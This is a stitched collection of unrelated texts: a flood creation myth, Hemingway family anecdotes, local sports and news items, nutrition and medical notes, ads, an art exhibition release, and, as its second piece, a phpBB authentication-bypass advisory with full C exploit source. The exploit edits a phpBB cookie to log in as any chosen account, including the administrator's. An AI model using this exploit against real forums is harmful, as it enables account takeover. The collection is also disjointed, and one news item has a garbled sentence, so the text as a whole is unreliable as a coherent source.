Soon those who clung or swam next to or sat upon the tree began to once again fear …for no one could bring back the earth to rebuild the land. Then amongst the din of voices…. A soft voice…almost a whimper was heard.. Quiet! Said the man… there is one who can not be heard! He said…. And when those on and around the tree once again fell silent the man spoke… Who he asked…looking around at those gathered… who speaks softly ..do you want to be heard?! .. As everyone looked around to see who had spoken softly ..eagle spied out of the corner of his eye a small furry brown creature… just barely visible above the waves that slapped against the great tree as it floated the currents of the waters…. There! The eagle said… as the small form climbed upon the great tree.. It was beaver… he had listened and watched from the very start … he had witnessed the valiant efforts of all those upon the tree and had watched with wringing paws as man breathed life back into helldiver . Now it was his turn.
I will try… he said with a meekish voice… my fur is good protection against the cold.. And I quite comfortable in the water… The others looked at one another… not believing that such a small one could do such a great thing… when all others had failed. Man said to beaver …you are brave indeed to try what no other has been able to do. The beaver looked silently at the worried but hopeful eyes of those gathered and with a deep breath dove beneath the surface of the ocean and quickly disappeared….
They waited for quite some time… and then waited some more…. Beaver had been gone much longer then any one else…. Surely he would surface soon… but still no beaver…. It soon became apparent to all that something was very wrong…just then Eagle spied a small shadow as it drifted beneath the waves… There! He shouted… There below the waves… right there he is! Turtle immediately swam under the waves and could barely make out a small form as the current carried further away… turtle swam with all his might into the darkness…hoping beyond hope that he would reach the still form before it disappeared from sight… finally he gained upon the figure and with a swoop beneath it he rose to the surface with the still lifeless form of beaver upon his back.
As turtle approached the great tree those gathered began to weep…man took beaver from turtle and laid him on the great tree… his little body cold and limp… no life was left within. As all came to honor beaver one last time… each approaching and touching his soft fur… offering prayers for his swift passage.. It was man who noticed beavers small paw… it looked as though he were clenching something … man drew in a sharp breath!…… the others looked to see ….. Man slowly, gently with beavers right paw in his left hand softly and lovingly cradled as one would a child…with his right hand tenderly opened the tiny paw… a great Hush! Swept over those gathered… for there in beavers tiny lifeless paw was a small mound of earth. He had done it! He had swam to the depth of darkness and returned with the earth… he had brought them life…even though his sacrifice was great… he did what no other could do…for no other was willing to give up their life for the life of others. Man looked to the others…. Beaver has given us the earth now we must rebuild the land… and we will forever honor beaver and sing songs to his great deed.
Turtle swam to man and said…. Now place the small mound of earth upon my back and I will support the earth and we will call to the great mystery and ask that he rebuild our land, and as man placed the small mound of earth upon the turtles back… those gathered began to sing …to pray to the great mystery . Soon there came great winds…from the four directions…and with them the earth grew…and grew… and the turtle bared the weight of the land…and all who dwelled on and within the land before the flood who survived ..returned to make there homes once again.
Each promising to tell the story to generations to come..so that such as the flood should never happen again., and until this day in honor of their brother … beavers build their homes upon the water in the shape of a mound so that all who see will remember the sacrifice made by beaver and the coming together of all our relations in time of need..


text: source: http://www.securityfocus.com/bid/12678/info phpBB is affected by an authentication bypass vulnerability. This issue is due to the application failing to properly sanitize user-supplied input during authentication. Exploitation of this vulnerability would permit unauthorized access to any known account including the administrator account. The vendor has addressed this issue in phpBB 2.0.13. /* Author: Paisterist Date: 28-02-05 [N]eo [S]ecurity [T]eam © Description: this exploit modify the user id that is in your cookies.txt (Firefox and Mozilla) file. You have to log in the forum, with the autologin option unchecked, then you close the navigator and execute the exploit. If you have any problem with the exploit, remove all cookies and do all again. Note: you have to put the exploit in the same directory of cookies.txt. This exploit overwrite all phpbb cookies that have the user id specified. I HAVE NOT DISCOVERED THIS VULNERABILITY, I DON'T KNOW WHO HAS DISCOVERED IT. By Paisterist http://neosecurityteam.net http://neosecurityteam.tk Greetz: Hackzatan, Crashcool, Towner, Daemon21, Wokkko, Maxx, Arcanhell, Alluz. */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char** argv[]) { FILE *pointer; char contenido[10000], cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0 %3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22", cookief[9]="%22%3B%7D", cookiec[106], cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb %3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D", *pos; int p=0, i=0; if (argc!=2) { printf("Usage: phpbb_exploit.exe user_id\n\n"); exit(0); } pointer=fopen("cookies.txt", "r"); if (pointer) { fread(contenido, 300, 10, pointer); fclose(pointer); } else { printf("The file can't be open\n"); exit(0); } strcpy(cookiec, cookie); strncat(cookiec, argv[1], 6); strcat(cookiec, cookief); if (pos=strstr(contenido, cookiec)) { p=pos - contenido; while (i<92) { if (cookie_false[i]!=NULL) contenido[p]=cookie_false[i]; p++; i++; } } else { printf("The file cookies.txt isn't valid for execute the exploit or the user id is incorrect\n"); exit(0); } if (pointer=fopen("cookies.txt", "w")) { fputs(contenido, pointer); printf("Cookie modified: \n\n%s\n\n", contenido); printf("The cookies file has overwriten... looks like the exploit has worked"); } else printf("\n\nThe file cookies.txt has not write permissions."); return 0; }


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Once, when Patrick was a teenager and got a concussion in a car accident and made the mistake of playing six sets of tennis afterward, he went off into a delirium that lasted 64 days. His father was afraid that he would die, so he put the boy in his own bed and set up a mattress outside the room, sleeping there until he was well again.
Once, when he was much younger, Patrick filled a mosquito sprayer with a mixture of tooth, talcum and mosquito powder and sprayed his baby brother in his crib until he was covered with white dust. When his father asked if he meant to hurt his brother, Patrick said ``Yes.`` His father roared. The kid had nerve. Good.
Once, when they were out fishing, Patrick was sitting in the fighting chair holding the rod when a marlin took the bait. The force of the strike was enormous; Patrick sensed the strength of the fish was much greater than the strength of Patrick and let go of the rod. His father stared, then screamed, ``Jesus Christ, you lost the whole goddam rig!`` After a while, he realized that the boy couldn`t really have done much else, and began talking about how smart he had been to let go rather than be pulled into the water.
Once, when Patrick was beginning college, his father quite seriously offered to send Marlene Dietrich to visit him in his dormitory, believing that it would launch him on a brilliant career with his classmates. The offer was declined.
Once, when someone asked him to name the people that he most admired, his father mentioned Gustave Flaubert, James Thurber, and his son Patrick. It was Patrick, after all, who loved books like his father.
kick in the ass if he is wrong,`` his father wrote about his thoughtful, bright son. ``He is brave, like Pauline, and has other good qualities.``


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Watch Party
"Governing Under the Influence" is a non-partisan education project of the American Friends Service Committee. that questioned presidential candidates on the issue of #whoprofits from war and incarceration in the months leading up to the Iowa Caucuses and NH Primary. Our event listings were posted to enable activists, voters, and journalists to make the candidates easier to find.
Tuesday, February 9, 2016 - 7:00pm
Bernie 2016 Primary Night Watch Party
New Hampshire
Concord High School
170 Warren St.Concord, NH


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The University of California San Francisco Medical Center offers injected cartilage repair operations targeted for individuals with deteriorated knee cartilage who do not have osteoarthritis. The procedure is called autologous chondrocyte transplantation, which takes several weeks, states UCSF Medical Center.
Autologous chondrocyte transplantation consists of harvesting healthy cartilage cells, growing them in a laboratory for weeks, then injecting the healthy, grown cells into the defective area, explains UCSF Medical Center.
Cortisone injections into the knee are available for individuals suffering from osteoarthritis, a condition caused by deteriorated cartilage, according to the Palo Alto Medical Foundation. While the anti-inflammatory cortisone suppresses some arthritic symptoms from acting up, research shows cortisone injections can deteriorate healthy cartilage.


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Sun and Sound Windows is proud to serve Houston/Galveston, Austin, Dallas/Fort Worth, and San Antonio metropolitan areas.
Soundproof any room in your home or office with our soundproof window inserts. Imagine blocking up to 75% of low pitch noise (big trucks, A/C compressors, etc.) and up to 95% of high pitch noise (bus brakes, pool pumps, etc.).


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HOUMA — A year after awarding Houma with a Southern Indoor Football League charter franchise, the league has decided not to return to the Houma-Terrebonne Civic Center for its 2010 season, said Louisiana Sports and Entertainment Group's Travis Carrell.
Carrell, who runs the Houma-based Louisiana Sports and Entertainment marketing group with Kirk Bonvillain and Tate Boudreaux, said the league could not reach an agreement with the Civic Center in time for the start of its upcoming 2010 season, so it decided to wait until 2011 to bring indoor football back to Houma.
The franchise's first owners, Franklin Thomas and his Conquest Sports organization, held the rights to playing dates in the Civic Center after signing a one-year contract before the start of the 2009 season.
The SIFL took control of the franchise, which was named the Conquerors, during the 2009 season because of financial issues with the team, but Conquest Sports still had contractual rights to play in the Civic Center.
Civic Center director Janel Ricca said the Civic Center's contract with Conquest Sports expired in November and no extension was signed with Thomas.
By the time Conquest Sports' contract with the Civic Center expired in November, Carrell said the league decided it was too late to prepare the franchise for its upcoming season, set to begin in March, so it decided to cancel the 2010 season and play again in 2011.
"With the season only just a few months away, it was not feasible to jump into it and do it in 2010," Carrell said. "It takes 12 months to get stuff together, as far as sales wise, to make a team successful. You can't just run with it and try putting all this stuff together at the last minute. It needs to be done right, and with not having that much time to do that, we decided that we would step back, reestablish it and give it a full year to make things right and come back in 2011."
Telephone calls and messages left for SIFL president Thom Hager weren't returned before Thursday's press time.
Carrell said the SIFL still owns the Houma franchise and has not named new owners. The LSE, which is considered a candidate to become the new owners, still remains involved with the franchise, and Carrell said the marketing group will make its future plans public for the 2011 season in the next few months.
Carrell, who is also a former general manager with the Houma Bayou Bucks, said he looks forward to getting the community involved in the franchise's relaunch in 2011.
"We want them to realize that they are the team," he said. "We want to know what the people think. That's what we want. We want the people to help take ownership of it. When you start taking ownership of the team, everyone is successful, from the team level to the business side."
Carrell said he plans to meet with Civic Center officials this month to start planning playing dates and working on an agreement for the 2011 season.
Ricca said she couldn't comment on prospective tenants, but she looks forward to bringing indoor football back to the Civic Center in 2011.
"Although it's disappointing having to skip a year, I'm very excited because I think 2011 is going to bring a great team," Ricca said. "Events such as that are a huge a thing. You need to put in a lot of time and effort. There is a lot that goes into an event like that, and I think it's smart that someone's waiting and putting a little bit more time and effort to put a good quality product together and not just throwing something together at the last minute."
SIFL not returning to Houma in 2010
HOUMA — A year after awarding Houma with a Southern Indoor Football League charter franchise, the league has decided not to return to the Houma-Terrebonne Civic Center for its 2010 season, said Louisiana Sports and Entertainment Group's Travis Carrell.


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How To Become A Successful Independent Recording Artist
[EDIT] A couple of weeks ago, mid November, Francis Gane of Chartburst (a platform for unsigned artists, that says they will get you heard by major labels, producers, bloggers, pluggers, etc.) asked me if I would be interested in contributing to Chartburst's blog. Very flattered, I said, "Yes."
However, on reflection, I have got to decline the tempting invitation, because I haven't got time to write for myself! Blogging, as informative content creation, is such a time consuming taskmaster. Sorry, but LibreRock Records and UnsignedBandPromotion must come first. Being independent means taking responsibility for yourself, and that's what I've got to do!
Find, support and follow Chartburst on Twitter and Chartburst on Facebook - Good Luck Francis.
Anyway, How To Become A Successful Independent Recording Artist WAS destined for Chartburst; I'm sure Francis will be pleased that I posted it here instead.
"How do I become a successful independent recording artist?" is just the sort of puerile question a schoolboy would Google right after he had Googled, "How do I get a girlfriend?" I can hardly believe someone posed this innocent question so sincerely to me. But they did, and I can't believe that I am actually going to genuinely bother to answer it. I'll not over inflate the article with fluff, and as a convention, I'll use "artist" meaning artist, musician, band, etc….
Firstly, at what point would you say, "I have become a successful indie artist?" Here are a couple of my favourite answers: 1. When I can jack in the day job and earn a living playing music. 2. When the mainstream media starts to take notice. I'm sure you've got your own individual answer, maybe it's relative to the artist? Set your goals - and maybe that's too unfluffy for you!
How good at doing it are you?
It's my belief that if an artist wants to become a success on the music scene and make a living from their music, the most important area to get right is their musicianship and stage act (Music and Performance). This is The Core Essential and best indicator of whether you are going to make it or not.
Seek criticism and advice from an independent and qualified person whose opinion you value and trust. Then act on their advice and continue to seek their feedback for continuity. I am Not talking about crowd-sourced, public opinion here; I am talking about a qualified individual who can tell you the truth.
Do you have a Business Plan?
To make a money out of your music, you need a Business Plan - talent is sometimes (usually) not enough! Running a business is a big subject, too big for this blog post anyway; it includes: finances, technology, marketing & PR, sales, staff, regulations & legal stuff - and that's just the tip of the iceberg, off the top of my head!
Being an independent artist doesn't mean you that have to do everything yourself, you will need professional help and advice - maybe it's an accountant or maybe it's a website designer? Find the right professional for the job. There are a number of music industry pros. worth contacting, here's a list: 22 champions of the independent music community - one should be able to set you on the right path. Personally, I'd start off by talking to a specialist music industry accountant.
How do you connect with people?
The third element in this trilogy is Connectivity. Actually it's a subsection within business - Marketing and PR. It is how you connect with people and how you get them to take notice. It's being on the same wavelength as the person with whom you are talking, it's empathy and rapport. It's marketing - bringing yourself to the attention and consciousness of your potential fans. Yet another massive subject, however, it's a key factor in becoming a successful indie artist. Talk to LibreRock Records for some personalised information and help.
So there you have it, a simple, candid answer to a puerile question! The Three Core Essentials are: Music and Performance, Business and Connectivity - get them all right and you'll do okay …even though in reality, the odds are set against you ;)


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In less than two weeks, West Roxbury residents Maria Stavros and her father George Stavros will be running their second Boston Marathon to raise funds for Dana-Farber Cancer Institute.
Last year they were stopped in Kenmore Square after the bombs went off at the finish line, shocked that such violence could occur in their hometown. This year they are looking forward to completing the race for an important cause.
"It�s going to be an emotional experience for the runners and the people who are watching," said Maria Stavros, a 20-year-old BU junior.
Praising the Boston Athletic Association, she said the organization has been very clear about new policies and procedures.
She and her father, a psychologist, have been doing cross-training during the week in preparation for the grueling race.
"Training for the marathon takes so much mental strength as well as physical strength," she said.
"We�ve been progressing (with the number of) miles each week. We do all of our long runs together for the most part on the weekend," she said.
Even though it�s been a harsh winter, training in "the cold doesn�t bother us as much as people might think," she said. She added, "I�m hoping it�s not too warm" on race day.
This year the father and daughter team again aims to raise $10,000 for Dana-Farber.
"It�s surprising how willing people are to give," said Maria Stavros, adding that last year they were able to surpass $10,000.
Stavros said she and her dad have not been overly concerned about safety issues, saying they are confident about the measures the BAA has taken.
"I think that (crossing the finish line is) going to be a really fulfilling experience," she said.
"I really look forward to doing the entire 26.2 miles," in honor of all those who were affected last year as well as to raise money for a worthy cause, she added.
Check back at WickedLocalWestRoxbury.com and WickedLocalRoslindale.com on race day to hear more about Maria and George Stavros� Boston Marathon experience.
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In less than two weeks, West Roxbury residents Maria Stavros and her father George Stavros will be running their second Boston Marathon to raise funds for Dana-Farber Cancer Institute.


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The efforts by UN Secretary-General Kurt Waldheim to mediate the increasingly bitter dispute between Thailand and Vietnam appear to have produced no major results.
The gap between heavily armed Vietnam and a suspicious noncommunist Southeast Asia seems as wide as ever. Indeed, the UN official ended up caught in and perhaps tarnished by the emotional propaganda battle between Thailand and Vietnam.
That seems of be the outcome of the fourday mission of personal diplomacy by Mr. Waldheim. Despite his visits to Hanoi and Bangkok, each side adamantly rejected the peace proposals of the other. Little sign of common ground appeared -- except the stated willingness by both to keep talking.
As before, the chief sticking point was Cambodia (Kampuchea). Thailand wants Vietnamese troops withdrawn, and looks on Vietnam's proposal for a UN-supervised demilitarized zone on both sides of the Thai- Cambodian border as a way of sidestepping the issue. Thailand insists that the demilitarized zone be restricted to the Cambodian side, although it would permit UN observers on Thai territory.
Vietnam calls for direct or indirect talks between Thailand and the Vietnamese-dominated Heng Samrin government in Phnom Penh. But Thai officials are concerned this would build the Phnom Penh government's prestige, reduce international pressure for a Vietnamese troop withdrawal, and strengthen the Phnom Penh regime's claim to represent Cambodia at the UN. (The General Assembly still recognizes the ousted Chinese- backed Khmer Rouge as Cambodia's government.)
After a meeting with Thailand's Foreign Minister Siddhi Savetsila, Mr. Waldheim told reporters UN auspices could be used as an intermediary for such talks, a move apparently favored by Vietnam.
In a dinner speech opposing Vietnam's proposals, Thai Prime Minister Prem Tinsulanonda insisted Vietnam's plan was diversionary "camouflage" designed to obscure the issue of Vietnamese military withdrawal from Cambodia.
But perhaps it is significant he did not mention the proposal for talks between Thailand and the Phnom Penh government under UN auspices. The Thai failure to openly denounce this proposal is the one sign of progress optimists can point to as a result of the Waldheim mission.
Otherwise Vietnam and Thailand, backed by the other members of the Association of Southeast Asian Nations (Malaysia, singapore, the Philippines, and Indonesia), appeared as far apart as ever.
In Thai eyes, the Waldheim mission appeared to compromise the Secretary-General's impartiality and to give Vietnam's top communist Party leader Le Duan joined the discussions. analysts here said his apparance with a visiting noncommunist dignitary was unprecedented.
Optimists could call the visit a sign of Vietnam's sincerity. But skeptics called it a propaganda gesture exploiting the Secretary- General's presence. Mr. Waldheim hardly pleased the Thais when he said of the vietnamese: "I think they really want to solve the problems." He described them as "openminded and flexible" in their talks.
Thailand's prime minister Thanat Khoman said Mr. Waldheim was trying to persuade Thailand to accept Vietnam's proposals, while failing to seek a solution based on a General Assembly call for a Vietnamese troop withdrawal from Cambodia.
Nevertheless, Thai Foreign Minister Siddhideclared the door still open for "reasonable proposals" from Hanoi.


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Bayside has put together one of its best stretches in coach Cory Semper's four seasons as coach. It continued Monday afternoon in the Big Apple Basketball High School Invitational as the Commodores knocked off Princeton Day School (N.J.) and national prospect Davon Reed, 58-49, at Baruch College for their eighth straight victory.
Continuing his inspired play of late, forward Uzonna Akazi had 14 points and 12 rebounds, Jamal Roseburgh came off the bench with 13 points and Brandon King also had 13 for Bayside (13-4).
"We're working harder in practice and becoming more of a team," Semper said. "Everybody's buying into the system, they're playing together, getting to loose balls and taking charges, doing all the little things."
Bayside's last loss, in fact, came at Baruch College, a setback to Archbishop Molloy. In addition to improved work habits, Akazi has become a force inside and out, standout junior guard Austin Williams has come into his own and the 6-foot-6 Roseburgh has returned from injury. The transfer from Texas gives the Commodores depth up front.
Just a game behind Queens AA leader Cardozo, Bayside is in position to win its first division crown in several years. Its odds improved in the last few days when Judges 6-foot-9 star forward Jermaine Lawrence left the Queens school for Pope John XXIII in Sparta, N.J. Semper, however, said he wasn't happy.
"I'm a little disappointed because the best players in New York City are all leaving," he said. "We felt we could take it anyway."
The division crown will likely come down to the Jan. 31 showdown at Bayside as Cardozo won the first meeting, 62-59, on Dec. 15. Even without Lawrence, Semper is wary of the Judges, who he described as "very, very good. They'll have other guys step up."
"It would be definitely big to win the division," he said. "It would be a big step for us. Every year we're doing a little more. Our goal is always to win the division. This time we have a shot at it. But it's gonna be tough. It's not gonna be given to us."
Mount Vernon 58, Cardozo 49: For the second time in three days, Cardozo fought valiantly but fell short. Ryan Yearwood scored 12 points, Omar Williams added 10 and Tajay Henry had nine points and seven rebounds for the Judges (11-4), who were without Lawrence for the second time. Isaiah Cousins led the defending New York State State Federation Class AA champion Knights with 19 points.
"We were just unlucky," Cardozo coach Ron Naclerio said. "Five or six loose balls we couldn't get. With 4:40 to go, Kyle Credle had a 3 go in and out that would've cut it to one.
"What makes me feel bad is we lost two games. What makes me feel good is we're against a team in Mount Vernon if they were in the PSAL would be fighting for a PSAL title. After what happened to us last week, after kids have to look in the mirror and say if we still fight there's always the chance. I hope the teams we play think we're not good because [Lawrence] is not here anymore and take us lightly."
Lincoln 77, Robert Vaux (Pa.) 42: The Railsplitters broke the game open with a 28-3 third quarter and cruised to their fourth straight victory. Ian Vasquez scored 18 points off the bench, Tafari Whittingham added 14 points and Isaiah Whitehead had 11 for Lincoln (15-2), which was coming off a huge victory Saturday against arch rival Boys & Girls.


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Nutritional Facts of Oranges & Lemons
With their widespread availability and relatively long shelf life, oranges and lemons make welcome additions to a health- and budget-conscious diet. All fruits contribute to lifelong health, but the Harvard School of Public Health highlights that citrus fruits -- a group that includes lemons and oranges -- may prove especially important for reducing your risk of cardiovascular disease. Lemons and oranges both come loaded with vitamins, as well as phytonutrients that have the potential to fight disease.
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Basic Nutrition Information
Lemons and oranges both provide calories to help get you through the day -- a cup of lemon sections contains 61 calories, while a cup of orange sections provides 85 calories. Both fruits' calories come primarily from carbohydrates, and both oranges and lemons contain natural sugars, which support brain function and nourish your muscles. Lemons and oranges also contain dietary fiber -- 5.9 grams and 4.3 grams per cup, respectively -- which promotes digestive health. A cup of orange or lemon sections each contains approximately 2 grams of protein and less than a gram of fat.
Vitamin Breakdown
Oranges and lemons both provide ample amounts of vitamin C, and oranges also boost your vitamin A. You need vitamin C for healthy brain function, to maintain strong connective tissues and to help you metabolize cholesterol. A cup of lemon sections contains 112 milligrams of vitamin C, while an equivalent portion of orange sections provides 96 milligrams. A serving of either fruit provides your entire daily vitamin C requirements. Oranges also contain vitamin A, a nutrient that maintains healthy vision and regulates gene activity. A serving of oranges has 405 international units of vitamin A -- 17 percent and 14 percent of the recommended daily intakes for women and men.
Disease-Fighting Limonenes
Oranges and lemons both contain limonenes, a family of chemicals that benefit your health. One limonene, called d-limonene, acts as an anti-inflammatory, according to an animal study published in "Life Sciences" in 2013, and helps control colitis in rats. An additional test tube study, published in "LIfe Sciences" in 2012, notes that d-limonene fights cancer growth -- it promotes cancer cell death, hinders cancer spread and fights the growth of new blood vessels, a process essential for cancer growth. While the roles of lemon and orange limonenes in disease prevention require more investigation, they might offer health benefits.
Serving Tips
Lemons and oranges both make flavorful additions to salads. Add peeled orange slices to a spinach salad, and add more texture with sliced almonds and toasted sesame seeds. To avoid making your salad too sour, combine lemons or lemon juice with ingredients that provide natural sweetness -- such as strawberries or fennel -- to balance the taste profile of your dish. Alternatively, use slices of orange or lemon to naturally flavor water, or steep them in green tea for a refreshing beverage.


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After two years of disappointment in Arizona, 25-year-old White Sox outfielder
• 8th in runs (44)
• 4th in home runs (16)
• 2nd in RBIs (55)
• 10th in slugging (.521)
• 10th in Adjusted OPS+ (141)
Quentin has the physical tools to be an everyday player at the Major League level and is finally showing he can use them effectively. He plays hard every day. He has above average power and fits the role of a right fielder or left fielder on a championship club. He had off-season surgery on his left shoulder to repair a torn labrum and torn rotator cuff, and it looks like it made a significant difference in his production.
Quentin's consistent production at the plate has been a big reason why the White Sox are atop the American League Central standings, despite the woes of
But while Quentin is having a very good year, he projects to topping out as just an average to possibly good player. Because he wasn't well known in the American League to start of the season, Quentin gotten some good pitches to hit -- or at least better than what he would have seen in the National League. The more exposure American League pitchers and scouts get to Quentin, the more they'll identify his strengths and weaknesses, and they'll adjust their attack plan accordingly. Quentin's production will slow down, and looking at his monthly splits, we see this trend already occurring:
Long term, Quentin projects to be somewhere around the level of Twins outfielders
• Plus power (25+ HR)
• Strong arm
• "Gamer-type" attitude and approach
• Poise and maturity to hit in the middle of the lineup
• Can get on-base even when not hitting (high walk rate and gets hit by a lot of pitches)
• Streaky hitter
• Tends to chase pitches out of the strike zone
• Arm accuracy is below average
The key to subduing Quentin is to use fastballs over 90mph above the belt in combination with breaking pitches on the outer half of the plate. Quentin starts from a crouched position and many times raises up his head and upper body to hit the high pitch. This move creates a long swing and as a result he doesn't drive it as much.
Another good way for to attack Quentin, especially for left-handers, is with a good change-up. When a pitcher pitches to contact, the goal is to make sure the batter doesn't get good or "square" contact. A good change-up will be effective at keeping Quentin off balance and unable to make square contact because his stance has him so spread out.
The place not to pitch Quentin is down in the strike zone. The low center of gravity within his very crouched stance provides quickness from his strong legs and the ability to drive the low ball. Because he's in that crouch, Quentin moves his body less versus low pitches and as a result recognizes more pitches and shifts his weight easier.
Quentin is an aggressive hitter. He stands close to the plate with an open stance. He is crouched with his legs spread out, so he needs just a short stride to get square to pitch. Quentin's setup allows him to stay balanced and follow through with his swing more consistently against low pitches. Quentin's stance, which he changed this year, also limits his head movements, and this allows him to recognize more pitches and be better able to make contact against strikes of various types.


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Christian Bonnefoi
15 March – 15 April 2017
Campoli Presti, Paris
24 March – 20 May 2017
Campoli Presti, London
Campoli Presti is pleased to announce Christian Bonnefoi's first solo exhibition at the gallery, running concurrently in London and Paris.
Over the past 40 years, Christian Bonnefoi has largely contributed to the fundamental distinction between painting – a visible surface – and tableau – an analytical plane subject to division and structure.
Bonnefoi has organized his work in long series, developing them around his ongoing Babel series, which he started in 1978. His parallel series Janapa, inspired by constructivist interrogations on painting, started the same year and acted as their geometric counterpart. To dismantle the unity of the surface, the artist engages in a set of operations that consider the temporal effects of the collage (doubling, drying time, repetition of steps) and assume the three-dimensionality of the canvas, by rotating and displacing its orientation. In Bonnefoi's paintings, transparency is not merely a recurring formal element but the organizing principle of his work. In his interweavings, cuts and divisions the terms of his practice are also rendered transparent, allowing the viewer to take part in an infinite interplay between what is visible and what is concealed.
For his exhibition at Campoli Presti in London, Bonnefoi presents new paintings from his latest Babel series, a freestanding double-sided panel, and new collages. The exhibition in Paris is dedicated exclusively to Bonnefoi's recent collages, giving accent to his elaborate use of masks, cuts and openings.
Bonnefoi's new Babel series originated from a remake, a starting point in the process of creation that evolves from a former procedure, present in a previous Babel. Caught up in unending cycles of return, the artist engages in a retrospective reading of his work. As in the Big Bounce cosmological model, the formation of a material reality does not expand from a single event but rather follows an eternal series of oscillations between the past and the present. For this new series, Bonnefoi explores further manipulations of the tarlatan, a sheer, open-weaved fabric applied in different volumes, allowing the surface to become more complex in depth. His double-sided panels include the position of the viewer as a necessary element to define the work's standing point.
In his wall-based collages, different levels of transparency are achieved through the use of cut-out tissue paper. The compositions are made by independent elements pinned at a finely calculated distance that could be continuously replaced or expanded throughout the entire wall. The spending of the material in different curved sections takes the plane into a wider spatial organization. These compositions abound in literary references that take time as an obsession, such as Marcel Proust's incessant need to receive a nightly kiss from his mother in "Remembrance of things past" or Giambattista Vico's cyclical -corsi e ricorsi- evolution theory.
A student of Hubert Damisch and Jean-Louis Schefer, Bonnefoi worked closely with Yve-Alain Bois and Jean Clay around the journal Macula in the mid-seventies. Bonnefoi's work has been later contextualized within revised discussions on American and French perspectives on painting, forming part of the exhibition As Painting, at the Wexner Center for the Arts in 2001.
Christian Bonnefoi's work is part of the permanent collections of Centre Pompidou, Paris; Musée d'art moderne de la ville de Paris; Musée régional d'art contemporain LanguedocRoussillon; FRAC Paris; FRAC Picardie; FRAC Centre; FRAC Bretagne; Tourcoing Fine Arts Museum; Morlaix Fine Arts Museum; Orléans Fine Arts Museum; Montbéliard Fine Arts Museum; Sens Fine Arts Museum; Guangzhou Museum of Fine Arts, China. In 2008, Bonnefoi had a retrospective at Centre Pompidou, Paris with an accompanying catalogue. Past solo exhibitions include Jean-Paul Najar Foundation for Contemporary Art, Dubai (2016); Campoli Presti & Westreich/Wagner, New York (2016); Museum of Modern and Contemporary Art, Nice (2013); Guangzhou Museum of Fine Arts, China (2000), Rothschild Foundation, Paris (1989), Museum of Nuremberg, Germany (1981); P.S.1 Contemporary Art Centre, New York (1980).
Installation view
23 March - 20 May 2017
Campoli Presti, London


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Lotus has announced the appointment of Donato Coco as the Group's Director of Design. In this newly created position, Mr Coco will lead all design activities for Lotus Cars and Lotus Engineering. He will assume the role on 4 January 2010.
The Italian was previously Director of Design and Development at Ferrari where he worked on the F430 Scuderia coupé and Spider 16M, Ferrari California, 599XX and the freshly launched F458 Italia. Prior to Ferrari, Donato was Chief Designer at Citroën and was responsible for the Picasso, C3, C3 Pluriel, C2, C1 and the Xsara WRC, amongst others. Coco holds an MA in Automotive Design from the Royal College of Art, London.
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800XL and 65XE (which I have already done), just missing the 'help' function key on the side. The pins were in a different order again, so that's now at least four different pinouts for these 8-bit Atari keyboards, the 400, 65/130XE, and at least two different one for the 600/800XL.
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